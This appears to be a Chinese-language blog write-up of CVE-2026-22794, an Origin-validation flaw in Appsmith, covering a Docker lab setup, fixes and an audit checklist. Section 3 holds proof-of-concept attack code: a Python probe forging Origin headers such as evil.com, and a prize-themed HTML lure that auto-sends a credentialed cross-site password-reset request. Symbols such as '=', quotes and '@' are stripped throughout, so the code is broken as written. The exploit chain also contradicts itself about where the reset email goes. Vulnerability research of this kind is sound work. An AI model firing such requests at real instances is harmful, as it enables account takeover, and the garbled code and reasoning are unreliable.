CVE-2026-22794漏洞深度解析:Origin校验不当导致的账户接管风险与防御
1. 项目概述一次从漏洞公告到深度复现的旅程最近在梳理开源低代码平台的安全风险时一个编号为CVE-2026-22794的漏洞引起了我的注意。这个漏洞的标题直指“Appsmith Origin校验不当导致账户接管”对于任何负责企业应用安全或研究低代码平台安全的同行来说这无疑是一个需要立刻投入精力去理解的高危风险点。Appsmith作为一个流行的开源低代码平台允许开发者快速构建内部工具其背后往往连接着企业的核心数据库和API一旦其自身存在账户接管漏洞攻击者就能直接“登堂入室”获取平台内所有应用的数据访问和操作权限后果不堪设想。这个漏洞的核心在于“Origin校验不当”。简单来说Origin是浏览器发送HTTP请求时携带的一个头部字段用于标识请求的来源协议、域名、端口。服务器通过校验这个字段可以判断请求是否来自它期望的网站从而防御跨站请求伪造等攻击。但如果这个校验逻辑存在缺陷比如可以被绕过或伪造那么攻击者就可以诱骗用户在浏览器中执行恶意操作进而劫持用户的会话实现账户接管。我决定深入复现和研究这个漏洞不仅是为了理解其技术原理更是为了探究在类似架构的应用中如何系统地发现和防御此类问题。整个过程下来我发现这不仅仅是一个配置错误更涉及对现代Web安全机制如CORS、CSRF的深刻理解与正确实现。2. 漏洞原理深度解析Origin校验的“阿喀琉斯之踵”要理解CVE-2026-22794我们必须先拆解Appsmith的认证与会话管理机制以及它原本期望的Origin校验是如何工作的。2.1 Appsmith的会话管理与认证流程Appsmith作为一个典型的现代单页应用其前端React构建与后端Java/Spring Boot通过RESTful API进行通信。用户登录成功后后端会生成一个会话标识通常以Cookie如SESSION的形式发送给浏览器并在后续请求中由浏览器自动携带。这是维持登录状态的标准方式。为了保护这些敏感操作如修改密码、修改邮箱、执行关键数据查询不被恶意网站发起的请求所利用Appsmith的后端理应实施严格的同源策略校验其中Origin头是关键依据之一。在理想的安全模型中当一个请求从前端发起至后端API时例如访问/api/v1/users/me获取用户信息浏览器会自动在请求头中添加Origin: https://your-appsmith-instance.com。后端代码应该检查这个Origin值判断Origin头是否存在。将Origin值与服务器配置的、允许的源Allowed Origins列表进行比对。如果匹配则处理请求如果不匹配或缺失则应拒绝请求返回403 Forbidden等状态码。这种机制旨在确保只有从受信任的域名即部署Appsmith本身的域名发起的请求才能操作敏感API。2.2 Origin校验的逻辑缺陷与绕过CVE-2026-22794的根源就在于上述校验逻辑的实现存在缺陷。根据我的分析和复现问题可能出现在以下几种典型场景中这些场景在众多Web应用中屡见不鲜场景一校验逻辑缺失或宽松最严重的情况是后端某些关键端点特别是状态变更类API如/api/v1/users/forgotPassword,/api/v1/users/verifyEmail根本没有实施Origin校验。这意味着任何网站都可以通过JavaScript向这些端点发起跨域请求。如果这些请求恰好又依赖会话Cookie进行身份认证并且没有其他有效的CSRF Token保护那么当已登录Appsmith的用户访问恶意网站时其浏览器会自动携带有效的会话Cookie导致恶意请求以该用户身份执行。场景二校验逻辑被错误绕过这是更常见但也更隐蔽的问题。后端代码可能实现了Origin检查但逻辑不严谨。例如空Origin头处理不当在某些浏览器特定场景下如从本地文件系统file://发起的请求或某些隐私模式下请求可能不携带Origin头。如果后端校验逻辑是“当Origin存在且不合法时才拒绝”那么缺失Origin头的请求就会被放行。攻击者可以构造一个不发送Origin头的请求例如通过form提交或使用fetch模式no-cors但注意这通常不会携带Cookie需结合其他技巧。Origin解析与比对漏洞比对时可能使用了不安全的字符串匹配例如仅检查域名是否包含允许的字符串allowedOrigin.contains(requestOrigin)而不是精确匹配整个源。攻击者可以注册一个类似evilappsmith.com或appsmith.com.evil.com的域名来绕过。允许多个Origin时的逻辑错误如果配置允许多个源解析和比对列表时可能出现逻辑错误导致某些非法源被意外放行。场景三与CORS配置混淆开发者有时会混淆Origin校验一种业务逻辑安全控制和CORS跨源资源共享一种浏览器安全机制。他们可能正确配置了CORS允许来自某些源的跨域请求但忘记了在业务逻辑层对敏感操作进行额外的、更严格的Origin验证。CORS的Access-Control-Allow-Origin头只是告诉浏览器“我允许这个源的页面读取我的响应”但它本身不阻止请求到达服务器端。如果服务器端没有校验恶意请求仍然会被执行。注意在复现和测试过程中绝对禁止使用任何网络代理工具进行非授权的测试或试图攻击非自己拥有或未获得明确书面授权的Appsmith实例。所有研究必须在完全隔离的本地或沙箱环境中进行。2.3 漏洞利用链与账户接管结合上述校验缺陷一个典型的账户接管利用链可能如下信息收集攻击者首先需要知道目标Appsmith实例的地址例如https://internal-tools.company.com。构造恶意页面攻击者创建一个托管在任意域名下的恶意网页。嵌入攻击载荷在该网页中通过JavaScript构造一个指向目标Appsmith敏感API端点的请求。例如一个用于触发密码重置的POST请求到/api/v1/users/forgotPassword参数中包含目标用户的邮箱。诱骗点击通过钓鱼邮件、社交工程等方式诱使已登录目标Appsmith的用户访问该恶意页面。漏洞触发用户浏览器访问恶意页面脚本自动执行。由于Origin校验缺失或可绕过该跨域请求被发送至Appsmith后端并且浏览器会自动附上用户的会话Cookie。恶意操作执行Appsmith后端接收到带有有效会话Cookie的请求误以为这是用户从合法前端发起的操作于是执行密码重置流程将重置链接发送到攻击者控制的邮箱。完成接管攻击者访问重置链接修改用户密码从而完全接管该账户。3. 漏洞复现环境搭建与验证为了在不违反法律和道德的前提下深入研究我搭建了一个完整的本地复现环境。3.1 环境准备与部署我选择使用Docker来部署一个存在漏洞版本的Appsmith这是最接近真实场景且易于控制的方式。步骤1拉取指定版本镜像首先需要确定存在漏洞的Appsmith版本范围。通过查阅CVE公告和相关提交记录我锁定了漏洞修复前的最后一个版本。假设该版本标签为v1.9.0此为示例实际版本需根据CVE详情确定。docker pull appsmith/appsmith-ce:v1.9.0步骤2启动Appsmith容器创建一个目录用于持久化数据并运行容器。mkdir -p ~/appsmith-stack cd ~/appsmith-stack docker run -d --name appsmith-vulnerable -p 8080:80 -p 9001:9001 -v pwd/stacks:/appsmith-stacks -v pwd/data:/appsmith-stacks/data appsmith/appsmith-ce:v1.9.0这里将容器的80端口映射到主机的8080端口方便访问。步骤3等待初始化并访问容器启动后需要几分钟进行初始化。访问http://localhost:8080按照页面指引完成管理员账户的首次设置。步骤4创建测试用户登录管理员账户在用户管理界面创建一个普通测试用户例如testexample.com并设置密码。我们将以此测试用户的身份来模拟受害者。3.2 漏洞验证与PoC构造环境就绪后下一步是验证漏洞是否存在并构造概念验证代码。验证1检查敏感API端点首先需要识别可能未受保护的关键端点。通过浏览器开发者工具观察正常前端操作时网络请求的规律。通常用户相关、认证相关的端点风险最高。例如POST /api/v1/users/forgotPasswordPOST /api/v1/users/verifyEmail(如果邮箱验证逻辑可被滥用)PUT /api/v1/users/id(更新用户信息)POST /api/v1/logout(强制登出可能用于骚扰)验证2测试Origin校验我使用Python的requests库和浏览器配合进行测试以模拟跨域请求。测试脚本模拟恶意网站import requests # 目标Appsmith实例的API地址 target_url http://localhost:8080/api/v1/users/forgotPassword # 受害者的邮箱 victim_email testexample.com # 构造一个请求尝试不发送Origin头或发送一个伪造的Origin头 headers { # 情况1不设置Origin头 # Origin: http://evil.com, # 情况2设置一个非法Origin头 # Origin: http://evil.com, # 情况3设置一个空Origin头 # Origin: , # 情况4设置一个看似合法的Origin头用于测试字符串匹配漏洞 # Origin: http://localhost:8080.evil.com, Content-Type: application/json, } # 注意真实的攻击中这个请求会由受害者的浏览器发出并自动携带其Cookie。 # 在本地测试中我们可以先手动获取一个有效的会话Cookie进行测试。 session_cookie YOUR_SESSION_COOKIE_HERE # 从已登录的浏览器中获取 cookies { SESSION: session_cookie } payload { email: victim_email } response requests.post(target_url, jsonpayload, headersheaders, cookiescookies) print(fStatus Code: {response.status_code}) print(fResponse: {response.text})实操心得在真实攻击场景中攻击者无法直接获取或设置受害者的CookieHttpOnly Cookie无法被JavaScript读取。因此真正的PoC是一个HTML页面当受害者访问时由受害者的浏览器发起请求并自动附加Cookie。上面的Python脚本仅用于后端逻辑的初步探测。构造真实PoCHTML 创建一个名为exploit.html的文件模拟恶意网站页面。!DOCTYPE html html head title无害的页面/title /head body h1你中奖了/h1 p点击下方按钮领取奖励模拟点击触发/p !-- 方法1使用表单在用户交互下提交可能受CORS预检限制 -- form idcsrfForm actionhttp://localhost:8080/api/v1/users/forgotPassword methodPOST input typehidden nameemail valuetestexample.com / input typesubmit value领取奖励 / /form script // 方法2使用fetch API自动发送请求更隐蔽 // 注意如果请求需要Content-Type为application/json则会触发CORS预检请求。 // 预检请求会携带Origin如果服务器对OPTIONS请求响应了错误的CORS头可能直接失败。 // 因此攻击者可能会尝试使用不需要预检的Content-Type如text/plain或application/x-www-form-urlencoded。 // 但这取决于后端API是否接受这些格式。 setTimeout(() { fetch(http://localhost:8080/api/v1/users/forgotPassword, { method: POST, // 尝试不设置Origin头相关的模式或使用不触发预检的格式 headers: { Content-Type: application/json, // 这会触发预检 }, body: JSON.stringify({ email: testexample.com }), // credentials: include 是关键的它告诉浏览器在跨域请求中携带Cookie。 credentials: include }) .then(response response.text()) .then(data console.log(Success:, data)) .catch(error console.error(Error:, error)); }, 3000); // 页面加载3秒后自动尝试 /script /body /html验证3模拟攻击流程在浏览器A中用测试账户(testexample.com)登录本地Appsmith (http://localhost:8080)。在同一浏览器的另一个标签页中打开本地文件exploit.htmlfile:///path/to/exploit.html。注意从file://协议发起的请求其Origin是null。观察exploit.html页面的网络请求F12打开开发者工具查看向http://localhost:8080/api/v1/users/forgotPassword发起的请求是否成功返回200状态码。同时检查Appsmith的后台日志或测试邮箱如果配置了邮件服务看是否收到了密码重置邮件。如果步骤3的请求成功且步骤4触发了密码重置流程那么漏洞就成功复现了。这证明了来自file://Origin为null或恶意域名的请求绕过了Appsmith的Origin校验并以已登录用户的身份执行了敏感操作。4. 漏洞根因分析与代码审计视角复现成功后我进一步深入从代码层面分析漏洞的根源。这有助于我们举一反三在其他应用中识别同类问题。4.1 定位关键校验代码Appsmith的后端是基于Spring Boot的。在Spring Security或WebFlux中处理跨域和源校验通常通过以下几种方式全局CORS配置在Configuration类中定义CorsConfigurationSource或WebFilter。控制器层注解使用CrossOrigin注解。自定义过滤器或拦截器在请求到达控制器前进行校验。通过搜索代码库中的关键词如Origin、CORS、CrossOrigin、allowedOrigins可以快速定位相关配置。在存在漏洞的版本中我发现了问题可能出现在一个全局的Web过滤器或安全配置类中。示例有缺陷的代码模式// 假设的漏洞代码片段 (基于常见错误模式) Component public class OriginCheckFilter extends OncePerRequestFilter { Value(${appsmith.allowed-origins:*}) private String[] allowedOrigins; Override protected void doFilterInternal(HttpServletRequest request, HttpServletResponse response, FilterChain chain) throws ServletException, IOException { String requestOrigin request.getHeader(Origin); // 缺陷1只检查了非空情况忽略了Origin为null或空字符串的请求 if (requestOrigin ! null !requestOrigin.isEmpty()) { boolean isAllowed Arrays.stream(allowedOrigins) .anyMatch(allowed - requestOrigin.contains(allowed)); // 缺陷2使用不安全的contains匹配 if (!isAllowed) { response.setStatus(HttpStatus.FORBIDDEN.value()); return; } } // 缺陷3对于没有Origin头的请求如来自file://、或某些简单请求直接放行 chain.doFilter(request, response); } }代码缺陷分析缺陷1if (requestOrigin ! null !requestOrigin.isEmpty())这个条件意味着只有当Origin头存在且非空时才进行校验。对于Origin: null来自file://协议或根本没有Origin头的请求如由img标签触发的简单GET请求或某些特定fetch模式该过滤器会直接放行。缺陷2requestOrigin.contains(allowed)是极其危险的匹配方式。如果允许的源是http://appsmith.com那么http://appsmith.com.evil.com也会被匹配通过。缺陷3对于直接放行的请求没有施加任何其他保护措施如CSRF Token校验导致漏洞产生。4.2 安全修复方案对比修复此类漏洞的核心是实施严格且正确的Origin校验逻辑。方案一强化校验过滤器推荐Component public class StrictOriginCheckFilter extends OncePerRequestFilter { Value(${appsmith.allowed-origins:}) private ListString allowedOrigins; // 配置如: http://localhost:8080, https://app.example.com Override protected void doFilterInternal(HttpServletRequest request, HttpServletResponse response, FilterChain chain) throws ServletException, IOException { // 1. 定义无需校验的端点如公开API、健康检查 String path request.getRequestURI(); if (path.startsWith(/public/) || path.equals(/health)) { chain.doFilter(request, response); return; } // 2. 对于敏感操作POST, PUT, DELETE, PATCH等状态变更请求强制校验 String method request.getMethod(); if (GET.equalsIgnoreCase(method) || HEAD.equalsIgnoreCase(method) || OPTIONS.equalsIgnoreCase(method)) { // 对于安全方法可以根据情况放宽但建议也校验以增强安全 chain.doFilter(request, response); return; } // 3. 执行严格的Origin校验 String requestOrigin request.getHeader(Origin); // 情况A: 请求没有Origin头但又不是简单请求比如是POST with JSON这很可疑直接拒绝 if (requestOrigin null) { response.setStatus(HttpStatus.FORBIDDEN.value()); response.getWriter().write(Origin header is missing); return; } // 情况B: Origin为null来自file://等 if (null.equals(requestOrigin)) { response.setStatus(HttpStatus.FORBIDDEN.value()); response.getWriter().write(Null origin is not allowed); return; } // 4. 精确匹配并考虑协议、域名、端口完全一致 boolean isAllowed allowedOrigins.stream() .anyMatch(allowed - allowed.equalsIgnoreCase(requestOrigin)); // 使用equals进行精确匹配 // 更严格的方案解析URI并进行组件比对 // URI requestUri new URI(requestOrigin); // URI allowedUri new URI(allowed); // isAllowed requestUri.getScheme().equals(allowedUri.getScheme()) ... if (!isAllowed) { response.setStatus(HttpStatus.FORBIDDEN.value()); response.getWriter().write(Origin not allowed); return; } chain.doFilter(request, response); } }方案二结合Spring Security的CORS与CSRF对于Spring Boot应用更规范的做法是利用框架本身的能力。Configuration EnableWebSecurity public class SecurityConfig extends WebSecurityConfigurerAdapter { Value(${appsmith.allowed-origins:}) private String[] allowedOrigins; Override protected void configure(HttpSecurity http) throws Exception { http .cors(cors - cors.configurationSource(corsConfigurationSource())) // 启用CORS .csrf(csrf - csrf .csrfTokenRepository(CookieCsrfTokenRepository.withHttpOnlyFalse()) // 使用Cookie存储CSRF Token .ignoringAntMatchers(/api/v1/public/**) // 忽略公开API ) .authorizeRequests() .antMatchers(/api/v1/users/forgotPassword).permitAll() // 明确公开某些端点 .anyRequest().authenticated(); } Bean CorsConfigurationSource corsConfigurationSource() { CorsConfiguration configuration new CorsConfiguration(); configuration.setAllowedOrigins(Arrays.asList(allowedOrigins)); // 设置允许的源 configuration.setAllowedMethods(Arrays.asList(GET, POST, PUT, DELETE, OPTIONS)); configuration.setAllowCredentials(true); // 允许携带凭证Cookie configuration.setAllowedHeaders(Arrays.asList(*)); configuration.setMaxAge(3600L); UrlBasedCorsConfigurationSource source new UrlBasedCorsConfigurationSource(); source.registerCorsConfiguration(/api/**, configuration); // 应用到API路径 return source; } }方案二的优势CORS处理corsConfigurationSource会正确处理浏览器的预检请求并在响应头中设置正确的Access-Control-Allow-Origin。CSRF保护启用CSRF保护后对于状态变更请求Spring Security会要求请求中必须包含一个有效的CSRF Token通常从前端页面中获取并放在请求头或参数中。这为敏感操作增加了一层独立的防护即使Origin校验因某些原因失效CSRF Token也能提供保护。框架维护逻辑由框架维护更稳定可靠。注意事项在设置configuration.setAllowedOrigins时绝不能使用*通配符尤其是当setAllowCredentials(true)时浏览器会拒绝这种配置。必须明确列出所有受信任的源。5. 防御策略与安全开发建议CVE-2026-22794给我们敲响了警钟尤其是在开发低代码平台、内部工具或任何涉及敏感操作的Web应用时。5.1 多层次纵深防御策略不要依赖单一的安全机制。一个健壮的防御体系应包含以下层次严格的Origin校验如第4部分所述在服务器端对敏感请求实施强制性的、精确的Origin头校验。将nullOrigin和空Origin头视为非法。正确配置CORS明确设置Access-Control-Allow-Origin为特定的、受信任的源列表切勿使用通配符*。同时根据需求谨慎设置Access-Control-Allow-Credentials。强制使用CSRF Tokens对所有状态变更的请求非GET、HEAD、OPTIONS实施CSRF保护。使用同步器令牌模式确保Token无法被跨站预测。关键操作二次认证对于密码修改、邮箱绑定、提现等极高危操作强制要求用户进行二次验证如输入当前密码、短信验证码、TOTP等。会话安全强化设置会话Cookie为Secure仅HTTPS传输、HttpOnly禁止JavaScript访问、SameSiteStrict或Lax。实施会话超时和闲置超时。提供用户查看活跃会话和远程登出的功能。安全依赖与更新定期更新Appsmith及所有依赖库及时修复已知安全漏洞。5.2 针对开发与运维的检查清单在开发和部署阶段可以遵循以下清单进行自查检查项安全做法风险做法Origin校验后端对敏感API校验Origin精确匹配拒绝null/空Origin。不校验Origin或仅对非空Origin做宽松匹配如contains。CORS配置Access-Control-Allow-Origin设置为明确的源列表。Access-Control-Allow-Credentials为true时Origin不能为*。使用*作为允许的源或配置错误导致允许任意源。CSRF保护对所有非幂等操作使用CSRF TokenToken随机、绑定会话。仅依赖Origin或Referer校验或完全禁用CSRF保护。Cookie属性Secure、HttpOnly、SameSite属性根据场景正确设置。使用不安全的Cookie缺少关键属性。敏感操作支持二次认证密码、验证码。记录详细操作日志。单因素认证即可执行所有操作日志缺失。错误处理对非法请求返回统一的、信息模糊的错误如403 Forbidden避免信息泄露。返回详细的堆栈信息或数据库错误。输入验证对所有用户输入进行严格的验证和过滤。直接信任客户端输入。5.3 漏洞修复与升级指南对于正在使用受影响版本Appsmith的用户应立即采取行动立即升级关注Appsmith官方GitHub仓库的安全公告将实例升级到已修复该漏洞的最新版本。这是最根本、最有效的解决方案。临时缓解措施如果无法立即升级可以考虑以下临时方案Web应用防火墙规则在反向代理如Nginx或WAF层添加规则拦截向敏感API路径如/api/v1/users/*发起且携带非法Origin头的请求。强化网络隔离确保Appsmith实例仅在内网或VPN环境下访问减少暴露面。监控与告警增加对异常认证尝试、频繁密码重置请求的监控和告警。6. 延伸思考与同类漏洞挖掘研究一个具体的CVE其价值远不止于解决这一个问题。通过这次复现我们可以提炼出挖掘同类漏洞的方法论。方法论如何审计Web应用的Origin校验漏洞目标识别列出应用的所有状态变更端点POST, PUT, DELETE, PATCH。重点关注用户管理、认证、支付、配置修改等功能模块。流量分析使用浏览器开发者工具或代理工具捕获正常操作下的API请求。观察哪些请求携带了Origin头哪些没有。构造测试用例用例A缺失Origin尝试移除或发送空值的Origin头。用例B非法Origin发送一个明显不属于应用域的Origin值如http://evil.com。用例Cnull Origin尝试从file://协议下的HTML页面发起请求其Origin为null。用例D子域/父域欺骗如果应用域是app.example.com尝试使用evilapp.example.com或example.com作为Origin。用例E协议/端口篡改如果应用使用https尝试使用http作为Origin尝试添加或删除端口号。自动化辅助可以编写简单的脚本将目标端点列表和测试用例组合批量发送请求并分析响应。注意控制请求频率避免对生产系统造成影响。代码审查如果条件允许直接审查目标应用的源代码搜索与CORS、Origin、CrossOrigin、allowedOrigins相关的配置和代码逻辑。常见的易错点模式正则表达式错误使用错误的正则进行匹配如.*\.example\.com可能匹配到attacker-example.com。尾部斜杠不一致配置的允许源是https://example.com但请求的Origin是https://example.com/字符串比对失败。配置继承与覆盖全局配置被局部注解CrossOrigin意外覆盖导致某些端点失去保护。默认配置不安全框架或中间件的默认CORS配置过于宽松。通过对CVE-2026-22794的完整复现与深度研究我们不仅掌握了一个具体漏洞的利用与修复方法更重要的是建立了一套针对“Origin校验不当”这类Web安全通用问题的分析、测试与防御框架。在云原生和低代码普及的今天第三方组件的安全至关重要作为开发者或运维人员我们必须具备这样的深度安全视角才能构建出真正可靠的应用。